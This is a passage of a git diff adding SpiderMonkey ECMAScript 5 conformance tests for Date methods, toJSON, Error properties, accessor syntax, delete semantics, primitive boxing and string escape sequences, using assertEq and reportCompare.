+date = new Date(NaN).setMonth(NaN, {valueOf:function(){global = 39}});
+assertEq(global, 39);
+
+date = new Date(NaN).setUTCMonth(NaN, {valueOf:function(){global = 40}});
+assertEq(global, 40);
+
+date = new Date(NaN).setFullYear(NaN, {valueOf:function(){global = 41}});
+assertEq(global, 41);
+
+date = new Date(NaN).setUTCFullYear(NaN, {valueOf:function(){global = 42}});
+assertEq(global, 42);
+
+
+/*Test two methods evaluation*/
+var secondGlobal = 0;
+
+date = new Date(NaN).setFullYear({valueOf:function(){global = 43}}, {valueOf:function(){secondGlobal = 1}});
+assertEq(global, 43);
+assertEq(secondGlobal, 1);
+
+date = new Date(0).setFullYear(NaN, {valueOf:function(){global = 44}}, {valueOf:function(){secondGlobal = 2}});
+assertEq(global, 44);
+assertEq(secondGlobal, 2);
+
+
+/* Test year methods*/
+date = new Date(0).setYear({valueOf:function(){global = 45}});
+assertEq(global, 45);
+
+date = new Date(NaN).setYear({valueOf:function(){global = 46}});
+assertEq(global, 46);
+
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/Date/shell.js b/js/src/tests/ecma_5/Date/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_5/Date/shell.js
diff --git a/js/src/tests/ecma_5/Date/timeclip.js b/js/src/tests/ecma_5/Date/timeclip.js
new file mode 100644
index 000000000..50bde39e7
--- /dev/null
+++ b/js/src/tests/ecma_5/Date/timeclip.js
@@ -0,0 +1,42 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommonn.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 747197;
+var summary = "TimeClip behavior for very large numbers";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function addToLimit(n) { return 8.64e15 + n; }
+
+assertEq(8.64e15 === addToLimit(0.0), true);
+assertEq(8.64e15 === addToLimit(0.5), true);
+assertEq(8.64e15 === addToLimit(0.5000000000000001), false);
+
+var times =
+ [Number.MAX_VALUE,
+ -Number.MAX_VALUE,
+ Infinity,
+ -Infinity,
+ addToLimit(0.5000000000000001),
+ -addToLimit(0.5000000000000001)];
+
+for (var i = 0, len = times.length; i < len; i++)
+{
+ var d = new Date();
+ assertEq(d.setTime(times[i]), NaN, "times[" + i + "]");
+ assertEq(d.getTime(), NaN);
+ assertEq(d.valueOf(), NaN);
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/Date/toISOString.js b/js/src/tests/ecma_5/Date/toISOString.js
new file mode 100644
index 000000000..9eb412934
--- /dev/null
+++ b/js/src/tests/ecma_5/Date/toISOString.js
@@ -0,0 +1,24 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function throwsRangeError(t) {
+ try {
+ var date = new Date();
+ date.setTime(t);
+ var r = date.toISOString();
+ throw new Error("toISOString didn't throw, instead returned " + r);
+ } catch (err) {
+ assertEq(err instanceof RangeError, true, 'wrong error: ' + err);
+ return;
+ }
+ assertEq(0, 1, 'not good, nyan, nyan');
+}
+
+throwsRangeError(Infinity);
+throwsRangeError(-Infinity);
+throwsRangeError(NaN);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/Date/toJSON-01.js b/js/src/tests/ecma_5/Date/toJSON-01.js
new file mode 100644
index 000000000..4a756aab5
--- /dev/null
+++ b/js/src/tests/ecma_5/Date/toJSON-01.js
@@ -0,0 +1,238 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = 'toJSON-01.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 584811;
+var summary = "Date.prototype.toJSON isn't to spec";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var called;
+
+var dateToJSON = Date.prototype.toJSON;
+assertEq(Date.prototype.hasOwnProperty("toJSON"), true);
+assertEq(typeof dateToJSON, "function");
+
+// brief test to exercise this outside of isolation, just for sanity
+var invalidDate = new Date();
+invalidDate.setTime(NaN);
+assertEq(JSON.stringify({ p: invalidDate }), '{"p":null}');
+
+
+/* 15.9.5.44 Date.prototype.toJSON ( key ) */
+assertEq(dateToJSON.length, 1);
+
+/*
+ * 1. Let O be the result of calling ToObject, giving it the this value as its
+ * argument.
+ */
+try
+{
+ dateToJSON.call(null);
+ throw new Error("should have thrown a TypeError");
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "ToObject throws TypeError for null/undefined");
+}
+
+try
+{
+ dateToJSON.call(undefined);
+ throw new Error("should have thrown a TypeError");
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "ToObject throws TypeError for null/undefined");
+}
+
+
+/*
+ * 2. Let tv be ToPrimitive(O, hint Number).
+ * ...expands to:
+ * 1. Let valueOf be the result of calling the [[Get]] internal method of object O with argument "valueOf".
+ * 2. If IsCallable(valueOf) is true then,
+ * a. Let val be the result of calling the [[Call]] internal method of valueOf, with O as the this value and
+ * an empty argument list.
+ * b. If val is a primitive value, return val.
+ * 3. Let toString be the result of calling the [[Get]] internal method of object O with argument "toString".
+ * 4. If IsCallable(toString) is true then,
+ * a. Let str be the result of calling the [[Call]] internal method of toString, with O as the this value and
+ * an empty argument list.
+ * b. If str is a primitive value, return str.
+ * 5. Throw a TypeError exception.
+ */
+try
+{
+ var r = dateToJSON.call({ get valueOf() { throw 17; } });
+ throw new Error("didn't throw, returned: " + r);
+}
+catch (e)
+{
+ assertEq(e, 17, "bad exception: " + e);
+}
+
+called = false;
+assertEq(dateToJSON.call({ valueOf: null,
+ toString: function() { called = true; return 12; },
+ toISOString: function() { return "ohai"; } }),
+ "ohai");
+assertEq(called, true);
+
+called = false;
+assertEq(dateToJSON.call({ valueOf: function() { called = true; return 42; },
+ toISOString: function() { return null; } }),
+ null);
+assertEq(called, true);
+
+try
+{
+ called = false;
+ dateToJSON.call({ valueOf: function() { called = true; return {}; },
+ get toString() { throw 42; } });
+}
+catch (e)
+{
+ assertEq(called, true);
+ assertEq(e, 42, "bad exception: " + e);
+}
+
+called = false;
+assertEq(dateToJSON.call({ valueOf: function() { called = true; return {}; },
+ get toString() { return function() { return 8675309; }; },
+ toISOString: function() { return true; } }),
+ true);
+assertEq(called, true);
+
+var asserted = false;
+called = false;
+assertEq(dateToJSON.call({ valueOf: function() { called = true; return {}; },
+ get toString()
+ {
+ assertEq(called, true);
+ asserted = true;
+ return function() { return 8675309; };
+ },
+ toISOString: function() { return NaN; } }),
+ NaN);
+assertEq(asserted, true);
+
+try
+{
+ var r = dateToJSON.call({ valueOf: null, toString: null,
+ get toISOString()
+ {
+ throw new Error("shouldn't have been gotten");
+ } });
+ throw new Error("didn't throw, returned: " + r);
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true, "bad exception: " + e);
+}
+
+
+/* 3. If tv is a Number and is not finite, return null. */
+assertEq(dateToJSON.call({ valueOf: function() { return Infinity; } }), null);
+assertEq(dateToJSON.call({ valueOf: function() { return -Infinity; } }), null);
+assertEq(dateToJSON.call({ valueOf: function() { return NaN; } }), null);
+
+assertEq(dateToJSON.call({ valueOf: function() { return Infinity; },
+ toISOString: function() { return {}; } }), null);
+assertEq(dateToJSON.call({ valueOf: function() { return -Infinity; },
+ toISOString: function() { return []; } }), null);
+assertEq(dateToJSON.call({ valueOf: function() { return NaN; },
+ toISOString: function() { return undefined; } }), null);
+
+
+/*
+ * 4. Let toISO be the result of calling the [[Get]] internal method of O with
+ * argument "toISOString".
+ */
+try
+{
+ var r = dateToJSON.call({ get toISOString() { throw 42; } });
+ throw new Error("didn't throw, returned: " + r);
+}
+catch (e)
+{
+ assertEq(e, 42, "bad exception: " + e);
+}
+
+
+/* 5. If IsCallable(toISO) is false, throw a TypeError exception. */
+try
+{
+ var r = dateToJSON.call({ toISOString: null });
+ throw new Error("didn't throw, returned: " + r);
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true, "bad exception: " + e);
+}
+
+try
+{
+ var r = dateToJSON.call({ toISOString: undefined });
+ throw new Error("didn't throw, returned: " + r);
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true, "bad exception: " + e);
+}
+
+try
+{
+ var r = dateToJSON.call({ toISOString: "oogabooga" });
+ throw new Error("didn't throw, returned: " + r);
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true, "bad exception: " + e);
+}
+
+try
+{
+ var r = dateToJSON.call({ toISOString: Math.PI });
+ throw new Error("didn't throw, returned: " + r);
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true, "bad exception: " + e);
+}
+
+
+/*
+ * 6. Return the result of calling the [[Call]] internal method of toISO with O
+ * as the this value and an empty argument list.
+ */
+var o =
+ {
+ toISOString: function(a)
+ {
+ called = true;
+ assertEq(this, o);
+ assertEq(a, undefined);
+ assertEq(arguments.length, 0);
+ return obj;
+ }
+ };
+var obj = {};
+called = false;
+assertEq(dateToJSON.call(o), obj, "should have gotten obj back");
+assertEq(called, true);
+
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/Exceptions/browser.js b/js/src/tests/ecma_5/Exceptions/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_5/Exceptions/browser.js
diff --git a/js/src/tests/ecma_5/Exceptions/error-expando-reconfigure.js b/js/src/tests/ecma_5/Exceptions/error-expando-reconfigure.js
new file mode 100644
index 000000000..c70ff5f85
--- /dev/null
+++ b/js/src/tests/ecma_5/Exceptions/error-expando-reconfigure.js
@@ -0,0 +1,28 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = "error-expando-reconfigure.js"
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 961494;
+var summary =
+ "Reconfiguring the first expando property added to an Error object " +
+ "shouldn't assert";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var err = new Error(); // no message argument => no err.message property
+err.expando = 17;
+Object.defineProperty(err, "expando", { configurable: false });
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/Exceptions/error-property-enumerability.js b/js/src/tests/ecma_5/Exceptions/error-property-enumerability.js
new file mode 100644
index 000000000..c6674cfc5
--- /dev/null
+++ b/js/src/tests/ecma_5/Exceptions/error-property-enumerability.js
@@ -0,0 +1,30 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var errors = ["Error", "EvalError", "RangeError", "ReferenceError",
+ "SyntaxError", "TypeError", "URIError"];
+
+for (var i = 0; i < errors.length; i++) {
+ var error = this[errors[i]];
+
+ var desc = Object.getOwnPropertyDescriptor(error.prototype, "name");
+ assertEq(!!desc, true, errors[i] + ".prototype.name should exist");
+ assertEq((desc || {}).enumerable, false, errors[i] + ".prototype.name should not be enumerable");
+
+ desc = Object.getOwnPropertyDescriptor(error.prototype, "message");
+ assertEq(!!desc, true, errors[i] + ".prototype.message should exist");
+ assertEq((desc || {}).enumerable, false, errors[i] + ".prototype.message should not be enumerable");
+
+ var instance = new error;
+ desc = Object.getOwnPropertyDescriptor(instance, "message");
+ assertEq(!!desc, false, "new " + errors[i] + ".message should not exist");
+
+ instance = new error("a message");
+ desc = Object.getOwnPropertyDescriptor(instance, "message");
+ assertEq(!!desc, true, "new " + errors[i] + "(...).message should exist");
+ assertEq((desc || {}).enumerable, false, "new " + errors[i] + "(...).message should not be enumerable");
+}
+
+reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/Exceptions/shell.js b/js/src/tests/ecma_5/Exceptions/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_5/Exceptions/shell.js
diff --git a/js/src/tests/ecma_5/Expressions/11.1.5-01.js b/js/src/tests/ecma_5/Expressions/11.1.5-01.js
new file mode 100644
index 000000000..7db12aada
--- /dev/null
+++ b/js/src/tests/ecma_5/Expressions/11.1.5-01.js
@@ -0,0 +1,37 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 520696;
+var summary =
+ 'Implement support for string literals as names for properties defined ' +
+ 'using ES5 get/set syntax';
+
+print(BUGNUMBER + ": " + summary);
+
+
+var o;
+
+o = { get "a b c"() { return 17; } };
+assertEq("get" in Object.getOwnPropertyDescriptor(o, "a b c"), true);
+
+o = eval('({ get "a b c"() { return 17; } })');
+assertEq("get" in Object.getOwnPropertyDescriptor(o, "a b c"), true);
+
+var f = eval("(function literalInside() { return { set 'c d e'(q) { } }; })");
+f = function literalInside() { return { set 'c d e'(q) { } }; };
+
+function checkO()
+{
+ assertEq(3.141592654 in o, true, "fractional-named property isn't in object");
+ assertEq(10000 in o, true, "exponential-named property is in object");
+ assertEq(0xdeadbeef in o, true, "hex-named property is in object");
+ assertEq("Infinity" in o, true, "numeric index stringified correctly");
+}
+
+o = eval('({ 3.141592654: "pi", 1e4: 17, 0xdeadbeef: "hex", 1e3000: "Infinity" })');
+checkO();
+o = { 3.141592654: "pi", 1e4: 17, 0xdeadbeef: "hex", 1e3000: "Infinity" };
+checkO();
+
+reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/Expressions/browser.js b/js/src/tests/ecma_5/Expressions/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_5/Expressions/browser.js
diff --git a/js/src/tests/ecma_5/Expressions/named-accessor-function.js b/js/src/tests/ecma_5/Expressions/named-accessor-function.js
new file mode 100644
index 000000000..d6a055487
--- /dev/null
+++ b/js/src/tests/ecma_5/Expressions/named-accessor-function.js
@@ -0,0 +1,49 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+// Contributor:
+// Jeff Walden <jwalden+code@mit.edu>
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 999999;
+var summary = '{ get x y() { } } is not valid getter syntax';
+
+print(BUGNUMBER + ": " + summary);
+
+var BAD_CODE = ["({ get x y() { } })", "({ set x y(v) { } })"];
+
+for (var i = 0, sz = BAD_CODE.length; i < sz; i++)
+{
+ var code = BAD_CODE[i];
+
+ var err = "no exception";
+ try
+ {
+ eval(code);
+ }
+ catch (e)
+ {
+ err = e;
+ }
+ if (!(err instanceof SyntaxError))
+ {
+ assertEq(true, false,
+ "bad or no exception thrown for eval(" + code + "): " + err);
+ }
+
+ err = "no exception";
+ try
+ {
+ new Function(code);
+ }
+ catch (e)
+ {
+ err = e;
+ }
+ if (!(err instanceof SyntaxError))
+ {
+ assertEq(true, false,
+ "bad or no exception thrown for Function(" + code + "): " + err);
+ }
+}
+
+reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/Expressions/nested-delete-name-in-evalcode.js b/js/src/tests/ecma_5/Expressions/nested-delete-name-in-evalcode.js
new file mode 100644
index 000000000..8226ba7c8
--- /dev/null
+++ b/js/src/tests/ecma_5/Expressions/nested-delete-name-in-evalcode.js
@@ -0,0 +1,163 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 616294;
+var summary =
+ "|delete x| inside a function in eval code, where that eval code includes " +
+ "|var x| at top level, actually does delete the binding for x";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var f;
+
+function testOuterVar()
+{
+ return eval("var x; (function() { return delete x; })");
+}
+
+f = testOuterVar();
+
+assertEq(f(), true); // configurable, so remove => true
+assertEq(f(), true); // not there => true (only non-configurable => false)
+
+
+function testOuterFunction()
+{
+ return eval("function x() { } (function() { return delete x; })");
+}
+
+f = testOuterFunction();
+
+assertEq(f(), true); // configurable, so remove => true
+assertEq(f(), true); // not there => true (only non-configurable => false)
+
+
+function testOuterForVar()
+{
+ return eval("for (var x; false; ); (function() { return delete x; })");
+}
+
+f = testOuterForVar();
+
+assertEq(f(), true); // configurable, so remove => true
+assertEq(f(), true); // not there => true (only non-configurable => false)
+
+
+function testOuterForInVar()
+{
+ return eval("for (var x in {}); (function() { return delete x; })");
+}
+
+f = testOuterForInVar();
+
+assertEq(f(), true); // configurable, so remove => true
+assertEq(f(), true); // not there => true (only non-configurable => false)
+
+
+function testOuterNestedVar()
+{
+ return eval("for (var q = 0; q < 5; q++) { var x; } (function() { return delete x; })");
+}
+
+f = testOuterNestedVar();
+
+assertEq(f(), true); // configurable, so remove => true
+assertEq(f(), true); // not there => true (only non-configurable => false)
+
+
+function testOuterNestedConditionalVar()
+{
+ return eval("for (var q = 0; q < 5; q++) { if (false) { var x; } } (function() { return delete x; })");
+}
+
+f = testOuterNestedConditionalVar();
+
+assertEq(f(), true); // configurable, so remove => true
+assertEq(f(), true); // not there => true (only non-configurable => false)
+
+
+function testVarInWith()
+{
+ return eval("with ({}) { var x; } (function() { return delete x; })");
+}
+
+f = testVarInWith();
+
+assertEq(f(), true); // configurable, so remove => true
+assertEq(f(), true); // not there => true (only non-configurable => false)
+
+
+function testForVarInWith()
+{
+ return eval("with ({}) { for (var x = 0; x < 5; x++); } (function() { return delete x; })");
+}
+
+f = testForVarInWith();
+
+assertEq(f(), true); // configurable, so remove => true
+assertEq(f(), true); // not there => true (only non-configurable => false)
+
+
+function testForInVarInWith()
+{
+ return eval("with ({}) { for (var x in {}); } (function() { return delete x; })");
+}
+
+f = testForInVarInWith();
+
+assertEq(f(), true); // configurable, so remove => true
+assertEq(f(), true); // not there => true (only non-configurable => false)
+
+
+function testUnknown()
+{
+ return eval("nameToDelete = 17; (function() { return delete nameToDelete; })");
+}
+
+f = testUnknown();
+
+assertEq(f(), true); // configurable global property, so remove => true
+assertEq(f(), true); // not there => true (only non-configurable => false)
+
+
+function testArgumentShadow()
+{
+ return eval("var x; (function(x) { return delete x; })");
+}
+
+f = testArgumentShadow();
+
+assertEq(f(), false); // non-configurable argument => false
+
+
+function testArgument()
+{
+ return eval("(function(x) { return delete x; })");
+}
+
+f = testArgument();
+
+assertEq(f(), false); // non-configurable argument => false
+
+
+function testFunctionLocal()
+{
+ return eval("(function() { var x; return delete x; })");
+}
+
+f = testFunctionLocal();
+
+assertEq(f(), false); // defined by function code => not configurable => false
+
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/Expressions/object-literal-accessor-arguments.js b/js/src/tests/ecma_5/Expressions/object-literal-accessor-arguments.js
new file mode 100644
index 000000000..5b6e7e672
--- /dev/null
+++ b/js/src/tests/ecma_5/Expressions/object-literal-accessor-arguments.js
@@ -0,0 +1,42 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = 'object-literal-accessor-arguments.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 536472;
+var summary =
+ 'ES5: { get x(v) { } } and { set x(v, v2) { } } should be syntax errors';
+
+print(BUGNUMBER + ": " + summary);
+
+//-----------------------------------------------------------------------------
+
+function expectSyntaxError(s)
+{
+ try
+ {
+ eval(s);
+ throw new Error("no error thrown");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof SyntaxError, true,
+ "expected syntax error parsing '" + s + "', got: " + e);
+ }
+}
+
+expectSyntaxError("({ get x(a) { } })");
+expectSyntaxError("({ get x(a, a) { } })");
+expectSyntaxError("({ get x(a, b) { } })");
+expectSyntaxError("({ get x(a, a, b) { } })");
+expectSyntaxError("({ get x(a, b, c) { } })");
+
+expectSyntaxError("({ set x() { } })");
+expectSyntaxError("({ set x(a, a) { } })");
+expectSyntaxError("({ set x(a, b) { } })");
+expectSyntaxError("({ set x(a, a, b) { } })");
+expectSyntaxError("({ set x(a, b, c) { } })");
+
+//-----------------------------------------------------------------------------
+
+reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/Expressions/object-literal-accessor-property-name.js b/js/src/tests/ecma_5/Expressions/object-literal-accessor-property-name.js
new file mode 100644
index 000000000..11a7f20e0
--- /dev/null
+++ b/js/src/tests/ecma_5/Expressions/object-literal-accessor-property-name.js
@@ -0,0 +1,29 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = 'object-literal-accessor-property-name.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 715682;
+var summary =
+ "Permit numbers and strings containing numbers as accessor property names";
+print(BUGNUMBER + ": " + summary);
+
+//-----------------------------------------------------------------------------
+
+({ get "0"() { } });
+({ get 0() { } });
+({ get 0.0() { } });
+({ get 0.() { } });
+({ get 1.() { } });
+({ get 5.2322341234123() { } });
+
+({ set "0"(q) { } });
+({ set 0(q) { } });
+({ set 0.0(q) { } });
+({ set 0.(q) { } });
+({ set 1.(q) { } });
+({ set 5.2322341234123(q) { } });
+
+//-----------------------------------------------------------------------------
+
+reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/Expressions/primitive-this-boxing-behavior.js b/js/src/tests/ecma_5/Expressions/primitive-this-boxing-behavior.js
new file mode 100644
index 000000000..36cc0e9e8
--- /dev/null
+++ b/js/src/tests/ecma_5/Expressions/primitive-this-boxing-behavior.js
@@ -0,0 +1,106 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 732669;
+var summary = "Primitive values don't box correctly";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var t;
+function returnThis() { return this; }
+
+// Boolean
+
+Boolean.prototype.method = returnThis;
+t = true.method();
+assertEq(t !== Boolean.prototype, true);
+assertEq(t.toString(), "true");
+
+Object.defineProperty(Boolean.prototype, "property", { get: returnThis, configurable: true });
+t = false.property;
+assertEq(t !== Boolean.prototype, true);
+assertEq(t.toString(), "false");
+
+delete Boolean.prototype.method;
+delete Boolean.prototype.property;
+
+
+// Number
+
+Number.prototype.method = returnThis;
+t = 5..method();
+assertEq(t !== Number.prototype, true);
+assertEq(t.toString(), "5");
+
+Object.defineProperty(Number.prototype, "property", { get: returnThis, configurable: true });
+t = 17..property;
+assertEq(t !== Number.prototype, true);
+assertEq(t.toString(), "17");
+
+delete Number.prototype.method;
+delete Number.prototype.property;
+
+
+// String
+
+String.prototype.method = returnThis;
+t = "foo".method();
+assertEq(t !== String.prototype, true);
+assertEq(t.toString(), "foo");
+
+Object.defineProperty(String.prototype, "property", { get: returnThis, configurable: true });
+t = "bar".property;
+assertEq(t !== String.prototype, true);
+assertEq(t.toString(), "bar");
+
+delete String.prototype.method;
+delete String.prototype.property;
+
+
+// Object
+
+Object.prototype.method = returnThis;
+
+t = true.method();
+assertEq(t !== Object.prototype, true);
+assertEq(t !== Boolean.prototype, true);
+assertEq(t.toString(), "true");
+
+t = 42..method();
+assertEq(t !== Object.prototype, true);
+assertEq(t !== Number.prototype, true);
+assertEq(t.toString(), "42");
+
+t = "foo".method();
+assertEq(t !== Object.prototype, true);
+assertEq(t !== String.prototype, true);
+assertEq(t.toString(), "foo");
+
+Object.defineProperty(Object.prototype, "property", { get: returnThis, configurable: true });
+
+t = false.property;
+assertEq(t !== Object.prototype, true);
+assertEq(t !== Boolean.prototype, true);
+assertEq(t.toString(), "false");
+
+t = 8675309..property;
+assertEq(t !== Object.prototype, true);
+assertEq(t !== Number.prototype, true);
+assertEq(t.toString(), "8675309");
+
+t = "bar".property;
+assertEq(t !== Object.prototype, true);
+assertEq(t !== String.prototype, true);
+assertEq(t.toString(), "bar");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/Expressions/shell.js b/js/src/tests/ecma_5/Expressions/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_5/Expressions/shell.js
diff --git a/js/src/tests/ecma_5/Expressions/string-literal-escape-sequences.js b/js/src/tests/ecma_5/Expressions/string-literal-escape-sequences.js
new file mode 100644
index 000000000..bc50b2c85
--- /dev/null
+++ b/js/src/tests/ecma_5/Expressions/string-literal-escape-sequences.js
@@ -0,0 +1,146 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 663300;
+var summary =
+ "\\u and \\x must be followed by the appropriate number of hex digits or " +
+ "else it is a syntax error";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function expectSyntaxError(str)
+{
+ try
+ {
+ eval(str);
+ }
+ catch (e)
+ {
+ assertEq(e instanceof SyntaxError, true,
+ "no syntax error evaluating " + str);
+ }
+}
+
+expectSyntaxError('"\\x"');
+expectSyntaxError('"\\x0"');
+expectSyntaxError('"\\x1"');
+expectSyntaxError('"\\x2"');
+expectSyntaxError('"\\x3"');
+expectSyntaxError('"\\x4"');
+expectSyntaxError('"\\x5"');
+expectSyntaxError('"\\x6"');
+expectSyntaxError('"\\x7"');
+expectSyntaxError('"\\x8"');
+expectSyntaxError('"\\x9"');
+expectSyntaxError('"\\xA"');
+expectSyntaxError('"\\xB"');
+expectSyntaxError('"\\xC"');
+expectSyntaxError('"\\xD"');
+expectSyntaxError('"\\xE"');
+expectSyntaxError('"\\xF"');
+expectSyntaxError('"\\xG"');
+expectSyntaxError('"\\x0G"');
+expectSyntaxError('"\\x1G"');
+expectSyntaxError('"\\x2G"');
+expectSyntaxError('"\\x3G"');
+expectSyntaxError('"\\x4G"');
+expectSyntaxError('"\\x5G"');
+expectSyntaxError('"\\x6G"');
+expectSyntaxError('"\\x7G"');
+expectSyntaxError('"\\x8G"');
+expectSyntaxError('"\\x9G"');
+expectSyntaxError('"\\xAG"');
+expectSyntaxError('"\\xBG"');
+expectSyntaxError('"\\xCG"');
+expectSyntaxError('"\\xDG"');
+expectSyntaxError('"\\xEG"');
+expectSyntaxError('"\\xFG"');
+expectSyntaxError('"\\xGG"');
+
+expectSyntaxError('"\\u"');
+expectSyntaxError('"\\u0"');
+expectSyntaxError('"\\u1"');
+expectSyntaxError('"\\u2"');
+expectSyntaxError('"\\u3"');
+expectSyntaxError('"\\u4"');
+expectSyntaxError('"\\u5"');
+expectSyntaxError('"\\u6"');
+expectSyntaxError('"\\u7"');
+expectSyntaxError('"\\u8"');
+expectSyntaxError('"\\u9"');
+expectSyntaxError('"\\uA"');
+expectSyntaxError('"\\uB"');
+expectSyntaxError('"\\uC"');
+expectSyntaxError('"\\uD"');
+expectSyntaxError('"\\uE"');
+expectSyntaxError('"\\uF"');
+expectSyntaxError('"\\uG"');
+expectSyntaxError('"\\u00"');
+expectSyntaxError('"\\u11"');
+expectSyntaxError('"\\u22"');
+expectSyntaxError('"\\u33"');
+expectSyntaxError('"\\u44"');
+expectSyntaxError('"\\u55"');
+expectSyntaxError('"\\u66"');
+expectSyntaxError('"\\u77"');
+expectSyntaxError('"\\u88"');
+expectSyntaxError('"\\u99"');
+expectSyntaxError('"\\uAA"');
+expectSyntaxError('"\\uBB"');
+expectSyntaxError('"\\uCC"');
+expectSyntaxError('"\\uDD"');
+expectSyntaxError('"\\uEE"');
+expectSyntaxError('"\\uFF"');
+expectSyntaxError('"\\uGG"');
+expectSyntaxError('"\\u000"');
+expectSyntaxError('"\\u111"');
+expectSyntaxError('"\\u222"');
+expectSyntaxError('"\\u333"');
+expectSyntaxError('"\\u444"');
+expectSyntaxError('"\\u555"');
+expectSyntaxError('"\\u666"');
+expectSyntaxError('"\\u777"');
+expectSyntaxError('"\\u888"');
+expectSyntaxError('"\\u999"');
+expectSyntaxError('"\\uAAA"');
+expectSyntaxError('"\\uBBB"');
+expectSyntaxError('"\\uCCC"');
+expectSyntaxError('"\\uDDD"');
+expectSyntaxError('"\\uEEE"');
+expectSyntaxError('"\\uFFF"');
+expectSyntaxError('"\\uGGG"');
+expectSyntaxError('"\\u000G"');
+expectSyntaxError('"\\u111G"');
+expectSyntaxError('"\\u222G"');
+expectSyntaxError('"\\u333G"');
+expectSyntaxError('"\\u444G"');
+expectSyntaxError('"\\u555G"');
+expectSyntaxError('"\\u666G"');
+expectSyntaxError('"\\u777G"');
+expectSyntaxError('"\\u888G"');
+expectSyntaxError('"\\u999G"');
+expectSyntaxError('"\\uAAAG"');
+expectSyntaxError('"\\uBBBG"');
+expectSyntaxError('"\\uCCCG"');
+expectSyntaxError('"\\uDDDG"');
+expectSyntaxError('"\\uEEEG"');
+expectSyntaxError('"\\uFFFG"');
+expectSyntaxError('"\\uGGGG"');
+
+assertEq(eval('"a\\\rb"'), "ab");
+assertEq(eval('"a\\\nb"'), "ab");
+assertEq(eval('"a\\\r\nb"'), "ab");
+assertEq(eval('"a\\\u2028b"'), "ab");
+assertEq(eval('"a\\\u2029b"'), "ab");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/Function/10.2.1.1.6.js b/js/src/tests/ecma_5/Function/10.2.1.1.6.js
new file mode 100644
index 000000000..69613386c
--- /dev/null
+++ b/js/src/tests/ecma_5/Function/10.2.1.1.6.js
@@ -0,0 +1,35 @@
+/*
